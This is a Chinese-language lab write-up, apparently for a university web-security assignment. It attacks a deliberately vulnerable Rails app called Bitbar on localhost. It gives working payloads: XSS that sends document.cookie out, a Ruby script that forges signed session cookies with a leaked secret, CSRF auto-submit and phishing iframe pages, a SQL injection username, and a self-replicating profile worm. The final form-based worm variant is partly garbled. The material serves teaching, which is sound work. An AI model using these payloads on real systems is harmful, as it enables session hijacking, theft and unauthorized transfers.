Attack 1: Warm-up exercise: Cookie Theft 根据路由
get 'profile' => 'user#view_profile'
定位到函数
def view_profile @username = params[:username ] @user = User.find_by_username(@username) if not @user if @username and @username != "" @error = "User #{@username} not found" elsif logged_in? @user = @logged_in_user end end render :profile end
可以看到,输入的 username
被直接给打印出来,那么自然就存在XSS漏洞了。
payload
<script type ="text/javascript" > (new Image()).src="http://localhost:3000/steal_cookie?cookie=" +document .cookie </script >
或者使用 xmlhttprequest 发送
<script type ="text/javascript" > var x = new XMLHttpRequest();x.open("GET" , "http://localhost:3000/steal_cookie?cookie=" +(document .cookie));x.send()</script >
Attack 2: Session hijacking with Cookies 参考这篇文章
上图说明了原始的 Session 对象 Session Data 是如何最终生成 Cookie 的
原来的加密过程:
序列化
填充,aes-cbc加密,结果用base64编码
hmac-sha1签名
将加密的数据和签名通过 --
连接
但是意外地发现,bitbar的cookie并没有aes加密,可以通过
base64解码
反序列化
得到原始信息,那么这么一来,就只需要绕过验签这一个障碍了
在 config/initializers/secret_token.rb
中
Bitbar::Application.config.secret_token = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08'
这就是hmac-sha1的加解密密钥
ok,到此为止我们就能伪造数据了
attacke用户登陆,获取到当前的cookie
修改cookie值
这里需要用到 mechanize
这个包,安装
模拟登陆实现
agent = Mechanize.new url = "http://localhost:3000/login" page = agent.get(url) form = page.forms.first form['username' ] = form['password' ] = 'attacker' agent.submit form
这就相当于登陆了,然后我们获得cookie信息
cookie = agent.cookie_jar.jar['localhost' ]['/' ][SESSION].to_s.sub("#{SESSION} =" , '' ) cookie_value, cookie_signature = cookie.split('--' ) raw_session = Base64.decode64(cookie_value) session = Marshal.load(raw_session)
session如下:
{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999", "token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}
很明显, 我们只需要修改 logged_in_id
为1即可
session['logged_in_id' ] = 1 cookie_value = Base64.encode64(Marshal.dump(session)).split.join cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value) cookie_full = "#{SESSION} =#{cookie_value} --#{cookie_signature} " puts "document.cookie='#{cookie_full} ';"
这时候得到的session
document.cookie='_bitbar_session=BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTY2ZWY5YTIyY2EyNmUyN2VhNGQzMDE4YjEyYzA3OTk5BjsAVEkiCnRva2VuBjsARkkiG3EyVlhEUm5Nc2trZi02OUd1MlBpVGcGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkG--935e2e8f9f3d190f2ffccdf9cafd9e4480319054';
然后再发送数据,比如访问 http://localhost:3000/profile
url = URI('http://localhost:3000/profile' ) http = Net::HTTP.new(url.host, url.port) header = {'Cookie' :cookie_full } response = http.get(url,header) puts response.body
此时我们就能看到,
浏览器已经认为我们是 user1
了
完整代码
require 'mechanize' require 'net/http' SESSION = '_bitbar_session' RAILS_SECRET = '0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08' agent = Mechanize.new url = "http://localhost:3000/login" page = agent.get(url) form = page.forms.first form['username' ] = form['password' ] = 'attacker' agent.submit form cookie = agent.cookie_jar.jar['localhost' ]['/' ][SESSION].to_s.sub("#{SESSION} =" , '' ) cookie_value, cookie_signature = cookie.split('--' ) raw_session = Base64.decode64(cookie_value) session = Marshal.load(raw_session) puts session session['logged_in_id' ] = 1 cookie_value = Base64.encode64(Marshal.dump(session)).split.join cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value) cookie_full = "#{SESSION} =#{cookie_value} --#{cookie_signature} " url = URI('http://localhost:3000/profile' ) http = Net::HTTP.new(url.host, url.port) header = {'Cookie' :cookie_full } response = http.get(url,header) puts response.body
Attack 3: Cross-site Request Forgery 分析,登陆 user1,向attacker转帐,抓到的数据包如下
可见,只需要构造一个表单自动提交即可
b.html
内容如下
<!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <title > Document</title > </head > <body > <form action ="http://localhost:3000/post_transfer" method ="post" enctype ="application/x-www-form-urlencoded" id ="pay" > <input type ="hidden" name ="destination_username" value ="attacker" > <input type ="hidden" name ="quantity" value =10 > </form > <script type ="text/javascript" > function validate () { document .getElementById("pay" ).submit(); } window .load = validate(); setTimeout(function ( ) {window .location = "http://baidu.com" ;}, 0.1 ); </script > </body > </html >
表单的字段都是隐藏的,并且值都是给定的,之后通过
document .getElementById("pay" ).submit();
实现自动提交
最后
setTimeout(function ( ) {window .location = "http://baidu.com" ;}, 0.1 );
0.1s 后跳转到百度首页
也可以使用 xmlhttprequest
,一样的思路
<html > <body > <script > var request = new XMLHttpRequest(); request.open("POST" , "http://localhost:3000/post_transfer" ); request.setRequestHeader("Content-type" ,"application/x-www-form-urlencoded" ); request.withCredentials = true ; try { request.send("quantity=10&destination_username=attacker" ); } catch (err) { } finally { window .location = "http://baidu.com/" ; } </script > </body > </html >
Attack 4: Cross-site request forgery with user assistance 由于 http://localhost:3000/super_secure_transfer
转账的时候,表单带上了一个随机token,所以没办法通过 CSRF
来转帐,只能通过钓鱼的办法,欺骗用户输入自己的 Super Secret Token
,这样我们就能绕过服务器的校验了
bp2.html
可以使用上一个的代码
bp.html
<html > <head > <title > 23333</title > </head > <body > <style type ="text/css" > iframe { width: 100%; height: 100%; border: none; } </style > <script > </script > <iframe src ="bp2.html" scrolling ="no" > </iframe > </body > </html >
bp2.html
<p > 请输入 super_secure_post_transfer 页面下的 Super Secret Token 来证明你不是机器人</p > <input id ="token" type ="text" placeholder ="Captcha" > <button onClick ="gotEm()" > Confirm</button > <script > function gotEm () { var token = document .getElementById("token" ).value; var request = new XMLHttpRequest(); request.open("POST" , "http://localhost:3000/super_secure_post_transfer" , false ); request.setRequestHeader("Content-type" ,"application/x-www-form-urlencoded" ); request.withCredentials = true ; try { request.send("quantity=10&destination_username=attacker&tokeninput=" + token); } catch (err) { } finally { window .top.location = "http://baidu.com" ; } } </script >
Attack 5: Little Bobby Tables (aka SQL Injection) 删除用户的逻辑如下
def post_delete_user if not logged_in? render "main/must_login" return end @username = @logged_in_user.username User.destroy_all("username = '#{@username} '" ) reset_session @logged_in_user = nil render "user/delete_user_success" end
可以看到输入的用户名没有经过任何的过滤直接拼接到了SQL语句中,我们看到后台执行的SQL语句
如果我们的用户名中含有user3即可将user3删除
那么如果我们注册用户
user3' or username GLOB 'user3?*
拼接出来的SQL语句必然是
delete from users where username = user3 or username GLOB 'user3?*'
登陆
删除
此时可以看到后台执行的SQL语句
Attack 6: Profile Worm 问题出在渲染用户的profile上面
profile.html.erb
中,渲染用户的 profile
代码如下
<% if @user.profile and @user.profile != "" %> <div id ="profile" > <%= sanitize_profile (@user.profile ) %> </div > <% end %>
调用了函数 sanitize_profile
def sanitize_profile (profile) return sanitize(profile, tags: %w(a br b h1 h2 h3 h4 i img li ol p strong table tr td th u ul em span) , attributes: %w(id class href colspan rowspan src align valign) ) end
其中 santitize
函数,通过 tags
和 attributes
可以指定允许的标签和属性白名单。
然而属性中出现了 href
,这意味着我们可以使用JavaScript伪协议来XSS
参考: https://ruby-china.org/topics/28760
比如
<strong id ="bitbar_count" class ="javascript:alert(1)" > </strong >
更新自己的 profile
时,查看自己的profile,即可弹窗
如果有用户浏览当前的profile,那么将会发生两个操作
转账操作
更新用户的profile
转账操作的代码如下
var request = new XMLHttpRequest();request.open("POST" , "http://localhost:3000/post_transfer" ); request.setRequestHeader("Content-type" ,"application/x-www-form-urlencoded" ); request.withCredentials = true ; try { request.send("quantity=1&destination_username=attacker" ); } catch (err) { } finally { }
转帐完成之后,我们需要立即更新当前浏览用户的 profile
设置 profile
的数据包如下
只需要向路由 /set_profile
发送请求即可
request = new XMLHttpRequest(); request.open("POST" , "http://localhost:3000/set_profile" , true ); request.setRequestHeader("Content-type" ,"application/x-www-form-urlencoded" ); request.withCredentials = true ; request.send("new_profile=" .concat(escape (document .getElementById('hax-wrap' ).outerHTML)));
遇到的问题:
发送的数据含有html转移后的 & 符号。如图
这里我采用的是 String.fromCharCode()
来将其做一次转换
字符串拼接只能用 concat
而不能用 +
,因为 +
号在 html 中是空格的意思
最后的代码
<span id ="wrap" > <span id ="bitbar_count" class ="eval(document['getElementById']('pxy')['innerHTML'])" > </span > <span id ="pxy" > document.getElementById('pxy').style.display = "none"; setTimeout(function(){ var request = new XMLHttpRequest(); request.open("POST", "http://localhost:3000/post_transfer"); request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); request.withCredentials = true; try { request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker")); } catch (err) { // } finally { request = new XMLHttpRequest(); request.open("POST", "http://localhost:3000/set_profile", true); request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); request.withCredentials = true; request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML))); } }, 0); 10; </span > <p > 233333</p > </span >
ps: 也可以用 js 动态创建 form表单的方式,但是这样页面是会跳转的,无法满足
在转账和profile的赋值过程中,浏览器的地址栏需要始终停留在http://localhost:3000/profile?username=x ,其中x是profile被浏览的用户名。
附上js动态创建form表单的代码
<span id="wrap" > <strong id="bitbar_count" class ="eval((document['getElementById']('pxy').innerHTML))" ></strong> <span id="pxy"> document.getElementById('pxy').style.display = "none"; function makeForm(){ var form = document.createElement("form"); form.id = "pay"; document.body.appendChild(form); var input = document.createElement("input"); input.type = "text"; input.name = "destination_username"; input.value = "attacker"; input.type = 'hidden'; form.appendChild(input); var input2 = document.createElement("input"); input2.type = "hidden"; input2.name = "quantity"; input2.value = 10 form.appendChild(input2); form.action = "http:/ /localhost:3000/ post_transfer"; form.method = " POST"; form.enctype = " application/x-www-form-urlencode"; form.submit(); } makeForm(); request = new XMLHttpRequest(); request.open(" POST", " http:request.setRequestHeader("Content-type" ,"application/x-www-form-urlencoded" ); request.withCredentials = true ; request.send("new_profile=" .concat(escape (document .getElementById('wrap' ).outerHTML))); </span> </ span>